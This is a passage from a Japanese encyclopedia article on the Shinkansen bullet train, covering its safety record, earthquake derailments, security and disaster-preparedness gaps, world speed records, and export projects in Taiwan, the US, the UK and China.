[[1964年]](昭和39年)[[10月1日]]に最初の新幹線である[[東海道新幹線]]が開業して以来、事業者側の責任事故として確定した事故は、1995年(平成7年)に[[駆け込み乗車]]の乗客の手をドアに挟んで引きずり死亡させた[[三島駅乗客転落事故]](旅客が死亡)と、2015年(平成27年)に発生した山陽新幹線部品脱落事故(旅客が負傷)の計2件である。
駅ホームでの事故(駅ホームから転落または故意に投身し車両に接触、あるいは架線に接触し感電など)や線路内立ち入り等による死亡例は多数発生しているものの、これらは鉄道事業者側の責任事故ではなく、またこれらは新幹線システムそのものの根本的欠陥に起因する事故ではないため、新幹線の安全性に関しては非常に高いものと捉えられている。この事実は'''新幹線の安全神話'''などと称されていた<ref>{{Cite news|title=新幹線の「安全神話」・・・メンテンスと運行管理がつくりだす=中国メディア|newspaper=[[サーチナ (ポータルサイト)|サーチナ]]|date=2015-03-04|url=http://headlines.yahoo.co.jp/hl?a=20150304-00000033-scn-bus_all|accessdate=2015-03-21|archiveurl=https://web.archive.org/web/20150320203924/http://headlines.yahoo.co.jp/hl?a=20150304-00000033-scn-bus_all|archivedate=2015年3月20日|deadlinkdate=2017年10月}}</ref>。
2011年には「最も安全な高速鉄道ネットワーク」として[[ギネス世界記録]]に認定される<ref>{{Cite web|url=https://guinnessworldrecords.jp/world-records/safest-high-speed-rail-network|title=Safest high-speed rail network|accessdate=2021年8月16日|publisher=GUINNESS WORLD RECORDS}}</ref>など、新幹線車両自体の脱線、転覆や衝突による旅客死亡事故は未だ発生していないが、重大な事故に至る一歩手前の事態は過去に何度か発生している。<!-- ここに事例を列挙せず、下に節を作って記述してください。-->
=== 事故の事例 ===
{{参照方法|section=1|date=2015年6月}}
以下の各事例は、新幹線の安全を脅かす事故例と考えられ、重大視されてきた。
* [[1973年]](昭和48年):[[東海道新幹線大阪運転所脱線事故]]
* [[1974年]](昭和49年):東京運転所(品川基地)分岐線と新大阪駅構内で相次いで発生したATC異常信号事故
* [[1991年]](平成3年)<!--[[9月30日]]-->:ひかり291号(100系X編成)が、[[三島駅]]まで[[新幹線100系電車#車輪固着・潤滑油漏れ|車輪を固着させたまま走行した事例]]
* [[1997年]](平成9年):[[山陽新幹線]]の岡山新幹線運転所内で過走して脱線した事故<ref>{{Cite journal|和書 |date = 1997-08 |journal = [[鉄道ジャーナル]] |volume = 31 |issue = 8 |page = 104 |publisher = 鉄道ジャーナル社 }}</ref>
* [[1999年]](平成11年):[[福岡トンネルコンクリート塊落下事故|山陽新幹線福岡トンネルコンクリート塊落下事故]]
* [[2010年]](平成22年):山陽新幹線広島-新神戸間において、「のぞみ56号」の台車のギヤボックスカバーが破損、漏れた油が過熱し車内に白煙が充満、乗客1名が負傷した事故<ref>[http://www.asahi.com/kansai/travel/news/OSK201003040031.html のぞみ車内に白煙・異臭 最大3時間以上遅れ] - 朝日新聞、2010年3月4日</ref>
* [[2015年]](平成27年):山陽新幹線小倉 - 博多間において、「さくら561号」のカバーが脱落、脱落したカバーが車体を損傷させ、乗客1名が負傷した事故
* [[2017年]](平成29年):のぞみ34号(N700系K5編成)が、[[名古屋駅]]まで[[のぞみ34号重大インシデント|台車に亀裂が入った状態で走行した事例]](新幹線の事故で初めて国交省[[運輸安全委員会]]から「重大インシデント」認定)
他にも1990年代末期から多発したトンネルのコンクリート剥落事故に対しては、JR各社には設備保全を徹底させる対策が求められている。
また[[在来線]]と直通運転を行う[[ミニ新幹線]]([[山形新幹線]]・[[秋田新幹線]])では在来線区間に踏切もあるため、[[踏切障害事故|踏切事故]]がしばしば発生している。
=== 地震にともなう安全への脅威 ===
[[地震]]に伴う障害は、高速鉄道の安全性にとって脅威となりうる。このため、地震が多発する日本において運営される新幹線にとっても課題となっている。1990年代以降、日本国内における大きな地震災害の多発により、高速鉄道の地震に対する脆弱性が指摘されるようになった。
==== 大井川河口を震央とする地震の事例 ====
[[1965年]](昭和40年)[[4月20日]]、[[静岡県]]の[[大井川]]河口を震央とする[[マグニチュード]]6.1の地震が発生し、開業後約半年経過していた[[東海道新幹線]]にも静岡市周辺の盛り土が崩れる被害が生じた。当時はまだ運転本数が1時間に片道2本しかなく、発生直後にすべての列車の運行が停止されたこともあり、走行中の車両や旅客には大きな被害は発生しなかった。しかし、当時の運行責任者であった斎藤雅男(元国鉄新幹線支社運転車両部長-新幹線支社次長、鉄道工学の専門家)によると、「当時は雨の影響で地盤が弱くなっており、大きく陥没していたところもあった。仮に崩れた路盤上に列車が来ていたら間違いなく脱線して大惨事になっていた」という。なお、山陽新幹線の一部区間と東北新幹線以後の新幹線には[[スラブ軌道]]が採用されている<ref>週刊朝日、2004年11月12日。</ref>。
==== 兵庫県南部地震の事例 ====
[[1995年]](平成7年)[[1月17日]]の[[兵庫県南部地震]]([[阪神・淡路大震災]])では、被災地域において山陽新幹線の高架橋が破損・一部落下し、[[新大阪駅]] - [[姫路駅]]間が81日間にわたり不通となった。地震発生は午前5時46分で、始発列車は新大阪駅に停車していたがこの日の営業運転が始まる前であったため、落下した高架橋に列車が突っ込むなどの最悪の事態は免れた。これを機に高架橋の補強などの耐震対策が進められた。また比較的被害の少なかった[[京都駅]] - 新大阪駅間、姫路駅- [[岡山駅]]間は1週間程度で復旧した。
==== 新潟県中越地震の事例 ====
{{Main|上越新幹線脱線事故}}
さらに、[[2004年]](平成16年)[[10月23日]]の[[新潟県中越地震]]においては、[[上越新幹線]]が甚大な被害を受けた。高架やトンネルなどの構造物に損傷が発生したほか、上越新幹線列車の「[[とき (列車)|とき]]325号」(10両編成、[[新幹線200系電車|200系]]=K25編成)が[[長岡駅]]の手前付近を約200 km/hで走行中に脱線した。これはまた新幹線史上初の営業運転中、しかも高速走行中の脱線事故となった。この脱線の衝撃で、レールの道床の締定が多数外れ、一部のレールはねじ曲がるなどの大きな被害を受けた。
通常、列車がこの規模の地震に震源地付近で直撃された場合、たとえ停車していたとしても脱線は免れ得ないと考えられる。「とき325号」の事例では約200 km/hで脱線したとはいえ、奇跡的に、死者・重傷者などは生じなかった。これは、編成全体の横転などには至らなかったこと、および、数分の差で<!--地震発生5分後に対向列車とすれ違うダイヤになっていた-->対向列車との衝突も免れるという幸運も重なったことによる。なお、横転が生じなかった理由には、事故現場が積雪の多い地帯であるため、レール脇に雪を融かして流すための溝があり、そこに脱線後の車体の一部がはまり込んだことも関係していたとされる。
なお、地震に対する脅威に対し、上越新幹線にも地震感知システム「[[ユレダス]]」をカスタマイズした「コンパクトユレダス」が採用されている。実際、この「とき325号」のケースにおいても[[初期微動]]([[地震波|P波]])の検知後にブレーキが動作した。しかし、このケースでは、「とき325号」の通過地点からみて直下型の地震であったため、「とき325号」の停止前に地震が到達したことにより被害が生じてしまった。
この事故により、新幹線を運営するJR各社は、新幹線における地震対策の重要性を強く認識することとなった。
==== 東北地方太平洋沖地震での事例 ====
[[2011年]](平成23年)[[3月11日]]に発生した[[東北地方太平洋沖地震]]([[東日本大震災]])では、[[東北新幹線]]が甚大な被害を受けた。運転中の列車はすべて強制停止したが、[[大宮駅 (埼玉県)|大宮駅]] - [[いわて沼宮内駅]]間の広範囲にわたって、高架橋の損傷や架線柱の倒壊などが発生した。[[仙台駅]]では試運転中のE2系の一部車両が脱線したほか、ホームの天井板が剥がれ落ちるなど前記の中越地震以上の被害を受け、全線復旧まで約1か月半を要した。
==== 熊本地震での事例 ====
[[2016年]](平成28年)[[4月14日]]に発生した[[熊本地震 (2016年)|熊本地震]]では、[[九州新幹線]]が被害を受けた。下りの[[新幹線800系電車|800系]]6両編成の回送列車が[[熊本駅]]から[[熊本総合車両所]]へ向かう途中に脱線したほか、防音壁の落下や高架橋の亀裂などが見つかったが、13日後の[[4月27日]]午後には全線で運転を再開した。
==== 福島県沖地震での事例 ====
{{Main|東北新幹線脱線事故}}
[[2022年]](令和4年)[[3月16日]]に[[宮城県]][[牡鹿半島]]沖南南東60kmを震源とする最大震度6強の地震([[福島県沖地震 (2022年)|福島県沖地震]])のため[[東北新幹線]]「やまびこ223号」が[[福島駅 (福島県)|福島駅]] - [[白石蔵王駅]]間の[[宮城県]][[白石市]]内で営業運転中に脱線した。現場付近及び新幹線の車両には脱線を防ぐ装置が設置されていたものの17両編成のうち16両が脱線し、合わせて68の車輪の軸のうち60基がレールから外れていた<ref>{{Cite web|和書|url=https://www.huffingtonpost.jp/entry/story_jp_6232dae2e4b009ab92f38fda |title=東北新幹線は脱線。高速道にも大きな亀裂... |date=2022-03-17 |accessdate=2022-03-18 |website=ハフポスト日本版}}</ref>。また、脱線した列車には「[[レール転倒防止装置]]」や「[[逸脱防止ガイド]]」が設置されていたが一部の車両はレールから大幅にずれて傾くなどの被害が確認された。
「やまびこ223号」が脱線した福島駅 - 白石蔵王駅の間は、最高速度が320 km/hとなっていたが、地震が起きた際列車は白石蔵王駅での停車に向け減速していた際に発生し、地震を検知して非常ブレーキがかかる過程で脱線したと見られている<ref>{{Cite news|title=東北新幹線、脱線しても横転はせず 過去の事故教訓に導入された装置|newspaper=朝日新聞|date=2022-03-17|url=https://www.asahi.com/articles/ASQ3K64QYQ3KUTIL03J.html|accessdate=2022-03-18|publisher=朝日新聞社}}</ref>。[[初期微動]]([[地震波|P波]])を検知して自動でブレーキを掛けさせる装置は正常に作動していたという<ref name="nikkei20220317">{{Cite news|title=東北新幹線、月内の全線再開めどたたず 電柱など損傷|newspaper=日本経済新聞|publisher=日本経済新聞社|date=2022-03-17|url=https://www.nikkei.com/article/DGXZQOUC172UE0X10C22A3000000/|accessdate=2022-03-18}}</ref>。
営業運転中の新幹線が地震による脱線事故を起こしたのは[[新潟県中越地震]]での[[上越新幹線脱線事故]]以来2例目である<ref name="nikkei20220317" />。
=== 災害・テロへの対策不足 ===
新幹線では、[[航空機]]や[[船舶]]と異なり、通常の運行では乗客名簿などは整備されない。万一、転覆事故などで多数の死傷者が生じた時には、死傷者の身元特定に支障をきたすのではないか、との指摘もある。もしそうなった場合、家族への連絡や事故の補償などで大きな問題となることが予想されるが、新幹線を運営する各鉄道会社はこの課題について踏み込んだ対策を採るまでには至っていない。
20世紀末から世界的に増加している[[テロリズム]]に対しても新幹線は脆弱ではないかとの指摘もされている。現状では航空機のような搭乗時の手荷物検査がなく、その気になれば車内やプラットホームに、[[可燃物]]や[[爆発物]]、[[刃物]]を容易に持ち込むことができるのも事実<ref group="注">過去、実際に東海道新幹線の車内において、[[1993年]]には[[日本の鉄道に関する事件#のぞみ24号殺人事件|覚醒剤中毒者が刃物で別の乗客を殺害した事件]]が、[[2015年]]には乗客が車内に持ち込んだガソリンによって焼身自殺を図るという[[東海道新幹線火災事件]]が、[[2018年]]には[[2018年東海道新幹線車内殺傷事件|鉈を持った乗客が別の乗客ら3人を切りつけ、1人が死亡する事件]]が、それぞれ生じている。他にも、[[1967年]]には高校生によって「ひかり21号」の一等車座席下に[[新幹線ひかり号爆破未遂事件|爆弾が仕掛けられる事件]]が起きたが、この時は爆弾は車掌によって発見されたため事件は未遂に終わっている。</ref>である。また高架橋などの軌道設備には周囲から容易に接近できる箇所が多く、この面でもたやすくテロの対象となりうる。
なお、[[新幹線N700系電車|N700系]]では全てのドア上部と乗務員室出入口に、[[新幹線E5系電車|E5系・H5系]]や[[新幹線E6系電車|E6系]]、[[新幹線E7系・W7系電車|E7系・W7系]]ではそれらに加えて[[グランクラス]]を除く客室内にも[[監視カメラ]]を取り付けている。[[東海道新幹線火災事件|東海道新幹線車内での放火事件]]以降、JR東海はN700系でも客室内とデッキ通路部にも増設することとし<ref>{{PDFlink|[http://jr-central.co.jp/news/release/_pdf/000027351.pdf 東海道・山陽新幹線車内の防犯カメラの増設について]}} - [[東海旅客鉄道]]プレスリリース、2015年7月6日</ref>、2016年2月23日より増設が完了した編成が運行を開始した(1編成あたりのカメラは60台から105台に増加)<ref name="asahi160223">{{Cite news|url=http://www.asahi.com/articles/ASJ2R4RCHJ2RUTIL025.html|title=東海道新幹線、客室内の常時録画開始 放火事件受け|newspaper=[[朝日新聞|朝日新聞デジタル]]|date=2016-02-23|accessdate=2016-02-23}}</ref>。なお、客室内の映像については、N700系は常時録画だが、その他のE5系・H5系などはプライバシー保護の観点から非常ボタンが押されてから録画を開始する方式としている。JR東日本ではこれらの車両についても今後は同様に常時録画とする方針である<ref name="asahi160223" />。
JR東日本の各新幹線では、テロ対策のため、車内のゴミ箱を一切利用停止にしていた時期があったが、乗客からの不便という声が高まり、現在は利用を再開している。ただし要人来日時(特に[[主要国首脳会議]]開催時や[[アメリカ合衆国大統領]]来日時)は、利用を停止する場合がある。また、JR東海では[[アメリカ同時多発テロ事件]]以降、系列の[[警備会社]]と連携し、沿線を24時間体制で巡察しているほか、全ての列車に[[警備員]]を警乗させている。
=== 救命対策 ===
[[2008年]](平成20年)[[7月28日]]に東海道・山陽新幹線では、2008年12月より全編成において[[自動体外式除細動器]] (AED) を配備すると発表した<ref>{{Cite press release|和書|url=http://www.westjr.co.jp/news/newslist/article/1173777_799.html|title=東海道・山陽新幹線の全編成へのAED(自動体外式除細動器)搭載について|publisher=西日本旅客鉄道|date=2008-07-28|accessdate=|archiveurl=|archivedate=}}</ref>。
== 世界への影響 ==
=== 世界の高速鉄道の最高速度 ===
{{See also|高速鉄道}}
[[File:JR Central SCMaglev L0 Series Shinkansen 201408081006.jpg|thumb|200px|超伝導リニア [[L0系]]。2015年4月に山梨実験線にて世界最高速度603 km/hを記録]]
世界初の210 km/h運転を達成した新幹線の成功は、欧米各国に影響を及ぼした。鉄道先進国を自負していた[[フランス]]は、[[1967年]]5月28日より[[パリ]] - [[トゥールーズ]]間の列車「[[ル・キャピトール (列車)|ル・キャピトール]]」を[[ヨーロッパ|欧州]]において初めて<ref group="注">前年に西ドイツ国鉄が[[アウクスブルク]] - [[ミュンヘン]]間で200 km/h運転を行ったが、短期間で中止しており、長期間にわたって行なわれたものとしては「ル・キャピトール」がヨーロッパ初である。</ref>一部区間で200 km/hで運転し、その後も複数の列車を200 km/hで運行していた。新幹線の開業後、[[1981年]]に本格的な超高速列車[[TGV]]を開発し、営業最高速度260 km/hというスピード[[世界一の一覧|世界一]]を達成し、新幹線の記録を凌駕した。
その他、[[ドイツ]] ([[ICE]]) や[[イタリア]]([[ディレッティシマ]])でも高速列車が計画され、実現に移された。イタリアのディレッティシマは欧州初の高速新線であり、1970年に工事が始まり、1978年に部分開業を迎え、1983年に250 km/h運転を開始したものの、その後の整備で仏独に遅れを取り、全線が開業したのは1992年である。
[[スペイン]]では、当初は[[イベリア軌間]]の在来線を高速化させる計画で進めていたが、1986年に同国が[[欧州諸共同体]] (EC) へ加盟したのちに[[標準軌]]の高速新線を導入する計画へ方針転換。この一連の流れにおいては日本企業が車両の導入に大きな努力をしており、技術面において非常に高い評価を得ていたが、同国の欧州諸共同体への加盟や同国への投資額、同国内の経営不振企業の救済計画などに代表される政治的な問題からフランスのTGV方式の高速列車を採用することとなり、この時点での日本の新幹線方式の車両の導入は幻となった。
[[ロシア]]の高速列車[[ソコル (列車)|ソコル]]は1997年、ドイツ鉄道の技術支援を受け、[[モスクワ]] - [[サンクトペテルブルク]]間654 kmを営業最高速度250 km/hで結んだことにより、所要時間が、4時間20分から2時間30分に短縮された。
なお、すでに標準軌の鉄道網が整備されているこれらの国では、駅周辺は従来の路線をそのまま使用し、郊外区間では諸条件によって高速新線建設と在来線改良を使い分けることが多く、全線を新線として建設する新幹線とは異なっている<!--[[#世界の高速鉄道の呼称]]を参照-->。
走行試験を除く営業運転速度は、2019年4月現在、中国高速鉄道の[[中国高速鉄道CR400AF型電車|CR400系]](京滬高速鉄道と京津都市間鉄道)の 350 km/hが世界最速である。[[新幹線E5系電車|新幹線E5系]]やフランスTGV (320 km/h) などがそれに続く。[[大韓民国]](韓国)では2004年にフランスのTGV方式の[[韓国高速鉄道]] (KTX) が300 km/hで開業し、[[台湾]]では2007年に日本の新幹線方式(一部仏独の技術を導入)の[[台湾高速鉄道]]が300 km/hで開業した。
TGVは360 km/hへの速度向上を計画している。2007年後半からフランスのTGV方式を採用したスペインの[[AVE]]は、[[マドリード]] - [[バルセロナ]]間630 kmの新線で、ドイツのICEの技術に使われている[[シーメンス]]製の [[ヴェラロ|Velaro E]] という列車を使い350 km/hで運転する計画がある。実現すれば、マドリード - バルセロナ間は2時間30分に短縮される。
さらにロシアや[[ベトナム]]でも新幹線をモデルにした最高速度350 km/hの高速鉄道建設が計画されている。
浮上式鉄道を含めた2015年4月時点における世界最速の旅客営業鉄道路線は、[[2003年]]にドイツの技術によって開業した、中国・[[上海浦東国際空港]]へのアクセス路線である[[上海トランスラピッド]]で、その最高速度は430 km/hである。
走行試験も含めた鉄道における最高速度の世界一は、日本の[[L0系]]が[[2015年]]4月に[[山梨リニア実験線]]で記録した'''603 km/h'''<ref>[https://news.mynavi.jp/techplus/article/20150421-a281/ リニア新幹線、世界最高速度となる時速603 kmを記録 JR東海] マイナビニュース 2015年4月21日</ref>。浮上式鉄道を除くとフランスTGVの高速試験車V150編成が記録した'''574.8 km/h'''である(日本の非浮上式鉄道の最高記録はJR東海の[[新幹線955形電車|300X]]によって達成された443 km/hで世界第3位)。
東海道新幹線は建設時期が古く、カーブなどの線路状況が200 km/h台の設計になっている。より新しい山陽新幹線・東北新幹線などもフランスやドイツなどと比較すると山岳区間が多く、路線の起伏やカーブの設計などにおいて高速化を妨げる点が多い。特に後者は上越新幹線とともに寒冷地の耐寒・耐雪装備が不可欠であり、重量的に不利である。また沿線に住宅地が多いため、騒音への対策も必要となるなど、300 km/h以上の運転には課題が多い。
しかし、JR東海・JR西日本は2007年より山陽新幹線で[[新幹線500系電車|500系]]と同じ最高速度300 km/h、東海道新幹線でも従来の車両では255 km/hまで減速する必要のあった半径2,500 mのカーブを、車体傾斜装置を搭載することで270 km/hで通過できる[[新幹線N700系電車|N700系]]の導入を開始した。さらに改良型となるN700系1000番台(通称「N700A」)の製造及びN700系からの同仕様への改造により、東海道新幹線で285 km/hでの営業運転を2015年3月14日より開始した。これにより、半径2,500mのカーブを、275 km/hで通過するようになった。また、JR東日本は2004年から360 km/h走行を前提とした試験車両([[新幹線E954形電車|E954]]・[[新幹線E955形電車|E955形]])を開発し、2009年からはE954形をベースとして320 km/hでの走行を前提にした[[新幹線E5系電車|E5系]]を製造、新青森延伸後の2011年3月5日に300 km/hで営業を開始し、2013年3月16日より320 km/hでの営業運転を開始した。
かつて、JR東海は東海道新幹線の一部区間で、当時の営業最高速度270 km/hから330 km/hに引き上げることを検討していた。330 km/hでの走行は京都 - 米原間の直線が長い一部区間を対象に、N700系を使用し、前方に待機列車がなく性能を存分に発揮できる「のぞみ」の始発、終発に限定して行う計画であった。
また近年、速度向上の動きが顕著である。JR東日本はE954形-E5系の開発時に断念した360km/hでの営業運転について再度挑戦すべく、試験車両[[新幹線E956形電車|E956形]]を用いて走行試験を開始した。また、JR北海道は建設中の新函館北斗駅 - 札幌駅間について、整備新幹線としては初となる320km/hで営業運転するための追加工事を行うことを発表した。さらに、JR東海は[[N700S]]にて営業用車両としては国内最速である363km/hを記録した(この速度で営業運転するためではなく、国内外に高い走行性能を示す目的)。
==== 浮上式鉄道を除く、営業運転での最高速度記録 ====
{{Main2|新幹線以外の高速鉄道の詳細な記録は「[[高速鉄道の最高速度記録の歴史]]」を参照<br/>
また、東海道・山陽新幹線と東北・上越・北陸新幹線では「最高速度」の考え方に差異があることに注意。「[[自動列車制御装置]]」のATC-1型、ATC-2型を}}
各路線での記録である。
* [[1964年]][[10月1日]]:'''東海道新幹線開業。210 km/h。軌道の安定を図るため一部区間で160 km/h。<!--当時のATC信号は0, 30, 70, 110, 160, 210であり徐行区間は160信号。180km/hはあり得ない。-->'''
* [[1965年]][[11月1日]]:'''東海道新幹線の徐行運転が解除され、全線で210 km/h。'''
* [[1972年]][[3月15日]]:'''山陽新幹線開業。210 km/h。'''
* [[1981年]][[9月27日]]:'''フランスで[[TGV]]・[[LGV南東線]]が開業。260 km/h。'''
* [[1982年]]
** [[6月23日]]:東北新幹線開業。210 km/h。
** [[11月15日]]:上越新幹線開業。210 km/h。
* [[1983年]][[9月25日]]:'''フランスでTGVが270 km/h。'''
* [[1985年]][[3月14日]]:東北新幹線で240 km/h。
* [[1986年]]11月1日:東海道・山陽新幹線で220 km/h。
* [[1988年]]3月13日:上越新幹線で240 km/h。
* [[1989年]]
** [[3月11日]]:山陽新幹線で230km/h。
** [[9月24日]]:'''フランスでTGV・[[LGV大西洋線]]が開業。300 km/h。'''
* [[1990年]][[3月10日]]:上越新幹線で275 km/h。[[清水トンネル|大清水トンネル]]下り坂利用。
* [[1992年]]3月14日:東海道新幹線で270 km/h。
* [[1993年]][[3月18日]]:山陽新幹線で270 km/h。
* [[1997年]]
** [[3月22日]]:東北新幹線で275 km/h。'''山陽新幹線で300 km/h。'''
** 10月1日:北陸新幹線開業。260 km/h。
* [[1999年]][[12月4日]]:上越新幹線、275 km/h運転を廃止し、240 km/hに変更。
* [[2002年]][[8月1日]]:'''ドイツで[[ケルン-ライン=マイン高速線]]が開業。[[ICE 3]]で300 km/h。'''
* [[2004年]]
** 3月13日:九州新幹線鹿児島ルート開業。260 km/h。
** [[4月1日]]:'''韓国で[[韓国高速鉄道]] (KTX) が開業。300 km/h。'''
* [[2007年]]
** [[1月5日]]:'''[[台湾高速鉄道]]が開業。300 km/h。'''
** [[6月10日]]:'''フランスでTGV・[[LGV東ヨーロッパ線]]が開業。320 km/h。'''
* [[2008年]]8月1日:'''中国で[[京津都市間鉄道]]が開業。350 km/h。'''
* [[2010年]][[10月26日]]:'''中国で[[滬杭旅客専用線]]が開業。350 km/h。'''
* [[2011年]]
** [[3月5日]]:東北新幹線で300 km/h。
** [[7月1日]]:中国・京津都市間鉄道が300 km/hに変更。
** [[8月28日]]:中国・滬杭旅客専用線が300 km/hに変更。
* [[2013年]][[3月16日]]:'''東北新幹線で320 km/h。'''
* [[2015年]][[3月14日]]:東海道新幹線で285 km/h。
* [[2016年]][[3月26日]]:北海道新幹線開業。260 km/h。
* [[2017年]][[9月21日]]:'''中国・京滬高速鉄道で350 km/h。'''
=== 新幹線の輸出 ===
==== 台湾 ====
{{Main|台湾高速鉄道}}
中華民国([[台湾]])の[[台北駅|台北]] - [[高雄駅|高雄]]間のうち、台北 - [[新左営駅|左営]]の約340 kmで運行されることになった高速鉄道路線([[台湾高速鉄道]])は、独仏連合が先行する形で日本連合との間で熾烈な受注競争が行われたが、[[1999年]]に台湾で大地震が起き<ref name="Toyokeizai_201394">[https://toyokeizai.net/articles/-/201394]</ref>、地震時のリスクを台湾側は懸念するようになり、その結果新幹線は地震時に安全性が高いことに焦点が当たり、日本連合が最終的に逆転、車両や運行管理システムなど根幹部分の受注に成功した<ref name="Toyokeizai_201394" />(ただし、台湾高速鉄道の全体を完全に日本連合だけが受注したわけではない ※)。車両には[[新幹線700系電車|700系]]をベースとした[[台湾高速鉄道700T型電車|700T型]]が用いられ、運行管理システムも新幹線のもの、乗務員のトレーニングも日本式のものが採用された。台湾高速鉄道の顧問には、日本における新幹線計画の実現に大きく貢献した[[島秀雄]]の次男である[[島隆 (鉄道技術者)|島隆]]が就いた。一方、鉄路部分の施工に関しては、競争で先行した欧州連合がすでに契約締結済で関与し、韓国も関与した。
当初は2005年10月の開業を目指して建設が進められたが、台湾高速鉄道のコンサルタント業務を欧州連合が先に受注していたため、施工方法やスケジュールの調整が難航。また建設工事の一部区間を受注していた韓国の[[現代建設]]による路盤の手抜き工事が発覚するなど、各国企業の思惑が入り乱れたため、開業時期が徐々に遅れ、結局2007年1月5日に[[板橋駅 (新北市)|板橋]] - 左営間で仮開業し、全線は2007年3月に正式開業した。2016年に、台北 - 南港間が開業しているが、<!--約6km-->左営 - 高雄間<!--約3km?-->の着工は未定である。
==== アメリカ合衆国 ====
アメリカ合衆国・[[テキサス州]][[ヒューストン]] - [[ダラス]]間を90分で結ぶ[[テキサス・セントラル・レイルウェイ]]の建設計画が日本の新幹線方式を導入することが決まり、早ければ2021年に建設を開始し、[[2026年]]の開業を予定している<ref name="Full speed ahead for 205 MPH bullet train between Houston and Dallas? 2020 set as target date">http://houston.culturemap.com/newsdetail/08-16-12-full-speed-ahead-for-205-mph-bullet-train-between-houston-and-dallas-2020-set-as-target-date/</ref><ref>http://www.nbcdfw.com/news/local/Could-High-Speed-Train-Rev-Texas-Economy-362887001.html</ref>。なお既に日本の新幹線方式で建設し、[[新幹線N700系電車|N700系]]の改良版を導入することを明言している。[[東海旅客鉄道|JR東海]]が技術支援に加え、少額の出資を検討している<ref>{{cite web|title=The Bullet Train That Could Change Everything |url=http://www.texastribune.org/2014/08/18/bullet-train-could-change-everything |website=The Texas Tribune| publisher=The Texas Tribune| first1=Aman| last1=Batheja|first2=Stephen J.|last2=Smith|accessdate=2015年12月17日}}</ref><ref>{{cite web|title=Learn the facts|url=http://www.texascentral.com/facts|website=Texas Central Railway|accessdate=2015年12月17日}}</ref>。
==== イギリス ====
[[日立製作所]]は、2009年から[[ロンドン]] - [[ケント州]]間の高速新線「High Speed 1(HS1、旧名[[CTRL]]: Channel Tunnel Rail Link)」で運行される高速列車サービス「[[オリンピックジャベリン]]」の専用車両「[[イギリス鉄道395形電車|クラス395]]」29編成計174両<!--28編成を2億5000万ポンドで受注、のちに1編成追加-->を受注し、2007年8月から引き渡しが始まった。車両は[[香港上海銀行|HSBC]] Rail UKが保有し、[[サウスイースタン (鉄道)|サウスイースタン]]が列車の運行を担当する。[[国際鉄道連合|UIC]]規格路線を走る初めての日本製高速鉄道車両であり、HS1上において[[TGV]]ベースの[[ユーロスター]]と混在して運行されることとなる。営業最高速度は、HS1上で140 [[マイル毎時|mph]] (225 km/h)、在来線では70 mph (112 km/h) で、将来的には170 mph (275 km/h) を目指す。
日立はさらなる高速鉄道事業の受注を目指して、[[都市間高速鉄道計画]]における受注も目指して活動を展開し、2009年2月に、[[イースト・コースト本線]](ロンドン - [[エディンバラ]]間、距離700 km)やグレート・ウェスタン本線(距離300 km)を走行する高速鉄道車両の製造の優先交渉権を得た。そして[[デーヴィッド・キャメロン|キャメロン政権]]の歳出削減政策による一時の交渉凍結を経て、2012年7月に[[シーメンス]]、[[アルストム]]、[[ボンバルディア]]の鉄道ビッグ3との受注競争に打ち勝って、596両の高速鉄道車両の製造と2017年から27年間にわたる車両の[[リース]]と保守事業を、45億ポンド(受注時の[[為替]]レートで約5,500億円)で一括受注した。さらに2013年7月には、追加で「[[イギリス鉄道800形|クラス800]]」270両の製造と27年間にわたる車両のリースと保守事業を12億ポンド(受注時の為替レートで約1,800億円)で一括受注した<ref>{{Cite press release|和書|url=http://www.hitachi.co.jp/New/cnews/month/2013/07/0718b.html|title=英国の都市間高速鉄道計画向け車両の追加受注の内定について|publisher=[[日立製作所]]|date=2013-07-18|accessdate=2014-10-05|archiveurl=|archivedate=}}</ref><ref>[http://www.gov.uk/government/news/government-gives-green-light-for-more-state-of-the-art-intercity-trains Government gives green light for more state-of-the-art intercity trains] - GOV.UK(2013年7月18日)</ref>。受注した車両は最高速度200 km/hで、5両編成(定員約300人)と9両編成(定員約600人)で運行される。これを受けて日立は8000万ポンド(96億円)を投じて英北部[[ダラム州]]のニュートン・エイクリフに車両生産工場を建設し、2016年から月産35両のペースで車両を生産する。車両のリース事業は日立の子会社などが出資する特別目的会社アジリティトレインズによって行われる。
==== 中華人民共和国 ====
{{main|中華人民共和国の高速鉄道|中国高速鉄道CRH2型電車}}
[[中華人民共和国]]は[[京滬高速鉄道]]など8路線、計7,000 kmの旅客専用線(最高速度350 km/h)のほか、中国全土に高速鉄道網の建設(最高速度200 - 350 km/h)を進めているが、国産高速車両「[[中国国鉄DJJ2型電車|中華之星]]」の開発で多くのトラブルに見舞われたこともあって、日本の新幹線の技術導入と同時に[[フランス]]・[[ドイツ]]・[[カナダ]]などからも技術導入を図っている。
2007年には、主要都市間の在来線高速化 (200 – 250 km/h) に向け、JR東日本の[[新幹線E2系電車|E2系]]([[川崎重工業車両カンパニー|川崎重工業]]製)をベースにした[[中国高速鉄道CRH2型電車|CRH2型]]「子弾頭」を導入している。日本以外では[[スウェーデン]]の[[Regina (鉄道車両)|Regina]](カナダ・[[ボンバルディア]]製)をベースにした[[中国高速鉄道CRH1型電車|CRH1型]](CRHは“China Railway High-Speed”の略)、[[イタリア]]の[[ペンドリーノ]][[イタリア国鉄ETR600電車|ETR600]](フランス・[[アルストム]]製)をベースにした[[中国高速鉄道CRH5型電車|CRH5型]]も導入された。
2008年の[[2008年北京オリンピック|夏季オリンピック]]に合わせて開業した北京 - [[天津市|天津]]間の[[京津都市間鉄道]]にはCRH2型の旅客専用線仕様も導入されたが、設計速度を超過し運転していたため、日本側からの抗議を受けて他線区に転配し、武広線では250 km/hで運転している。同年12月からは、北京 - 上海・杭州間にCRH2E型の16両編成中13両を寝台車「軟臥車([[B寝台]]相当)」とした夜行列車が運転されている。「夜行新幹線」はかつて日本でも[[新幹線961形電車|試作車両]]が作られたが、営業運転は実現していない。
2009年に開業した[[武漢市|武漢]] - [[広州市|広州]]間の[[武広旅客専用線]] (350 km/h) にはドイツの[[ICE 3]]([[シーメンス]]製)をベースにした[[中国高速鉄道CRH3型電車|CRH3型]]が導入されている。どの国からも、一部は完成車で納入され、残りは現地組み立てまたは技術供与による現地生産となっている。
